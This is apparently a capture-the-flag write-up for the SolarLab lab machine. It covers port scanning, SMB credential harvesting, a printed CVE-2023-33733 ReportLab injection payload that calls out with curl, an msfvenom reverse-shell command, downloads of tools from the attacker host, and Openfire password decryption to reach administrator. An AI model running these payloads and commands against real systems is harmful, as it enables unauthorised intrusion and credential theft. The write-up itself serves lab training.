Enumeration

IP: 10.10.11.16

Let’s find open ports using rustscan and enumerate those open ports using nmap.

> rustscan -a 10.10.11.16 --ulimit 5000
....
Open 10.10.11.16:80
Open 10.10.11.16:135
Open 10.10.11.16:139
Open 10.10.11.16:445
Open 10.10.11.16:6791
....

> nmap -A -v -p 80,135,139,445,6791 10.10.11.16
....
PORT    STATE SERVICE       VERSION
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0
|_http-title: SolarLab Instant Messenger
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -5m12s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-15T09:16:44
|_  start_date: N/A
....

So we have port 80,135,139,445,6791. Two http server 80,6791

Add solarlab.htb and report.solarlab.htb to our /etc/hosts.

HTTP

We have a static page at solarlab.htb port 80 img

Login page at http://solarlab.htb:6791

img

After trying various injections and we seem unable to get a foothold and require valid credentials for access.

Shift our focus to other ports.


SMB

We can enumerate and list the smb shares with anonymous access.

img

Using netexec to enumerate further. We have READ on Documents and IPC$.

img

Connecting to the smb share we have interesting files. Download the files and analyse them.

img

The files that we have downloaded.

> ls 
details-file.xlsx
old_leave_request_form.docx
Training-Request-Form.docx
Travel-Request-Sample.docx

We obtained nothing much from the .docx files but the details-file.xlsx excel file contains usernames and passwords.

img

Extract the usernames and passwords from the file.

img

Do the same with passwords.

Let’s test the usernames and passwords against the smb server and report.solarlab.htb:6791.

Since our usernames list did not yield any result, we tried to rid-brute using netexec and got a similar user. blake.

img

Now test blake with the passwords.txt.

So we have found the right credential for user blake. img

Now let’s try it on the login page.


report.solarlab.htb:6791

On using the credential blake:ThisCanB3typedeasily1@ we have user not found. So our username is not valid. We can use this error to enumerate for the right user.

img

Let’s create a username from possible users from the company.

img

Since Blake Byte is the developer and we already have his smb credentials. Let’s start off with him.

We use username-anarchy to generate usernames and then use burp intruder to check for existing usernames.

> username-anarchy Blake Byte
....

img

Now we use blakeb and our password: blakeb:ThisCanB3typedeasily1@ to login to the report page.

img

Now we navigate to leaveRequest page.

img

Input data into the fields and generate.

img

Upon inspecting the output.pdf file we know that it is generated by reportlab.

img

On searching the web we find that there is POC and CVE for the pdf library. CVE-2023-33733

Our POC

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('cat /etc/passwd') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

Trying to inject the payload into the Justification we get character exceeded error.

img

Same error even when we try to bypass it with burp.

Injecting in other field Contact Phone Number, we get a 500 internal error.

img

Using curl as the payload and running an http server in our host, we get a connection request.

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://10.10.16.18:8090') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

img

Since we are dealing with a windows server, let’s craft a powershell payload to get reverse shell.

Use revshellto generate a reverse shell.

img

img

We now have user on the system. C:\Users\blake\Desktop\user.txt


Blake

After gaining access to user blake, we enumerate further into the system.

img

There exists another user openfire. We can try switching to that user to enumerate further.

In C:\Users\blake\Documents\app\instances\users.db we can get credentials for other users.

img

Download the users.db file and open it.

INSERT INTO user VALUES(1,'blakeb','ThiscanB3typedeasily1@');
INSERT INTO user VALUES(1,'claudias','07poiuytrewq');
INSERT INTO user VALUES(1,'blakeb','HotP!fireguard');

There is HotP!fireguard password for alexanderk and we can try those passwords for the user openfire. We also upload RunasCs.exe which can help us run commands as another user once we obtain the credentials.

> msfvenom -p windows/shell_reverse_tcp LPORT=1447 LHOST=10.10.16.18 -f exe -o rev.exe
> curl http://10.10.16.18/RunasCs.exe -o RunasCs.exe
> curl http://10.10.16.18/rev.exe -o RunasCs.exe
> .\RunasCs.exe openfire HotP!fireguard "C:\tmp\rev.exe"

img

We now have reverse shell as openfire user.

Navigate to C:\Program Files\Openfire\embedded-db\openfire.script and download it and save it to our host.

...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
....
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
....

We have extracted the password and password key. Now let’s decrypt it using a tool openfire-decrypt

img

We now have credentials for administrator:ThisPasswordShouldDo!@

Now that we have credentials for administrator we can follow our previous method

> .\RunasCs.exe administrator 'ThisPasswordShouldDo!@' "C:\tmp\rev.exe"

PS: Close our previous session and use our original shell obtained from netcat using the report.solarlab.htb

img

We now have admin.

img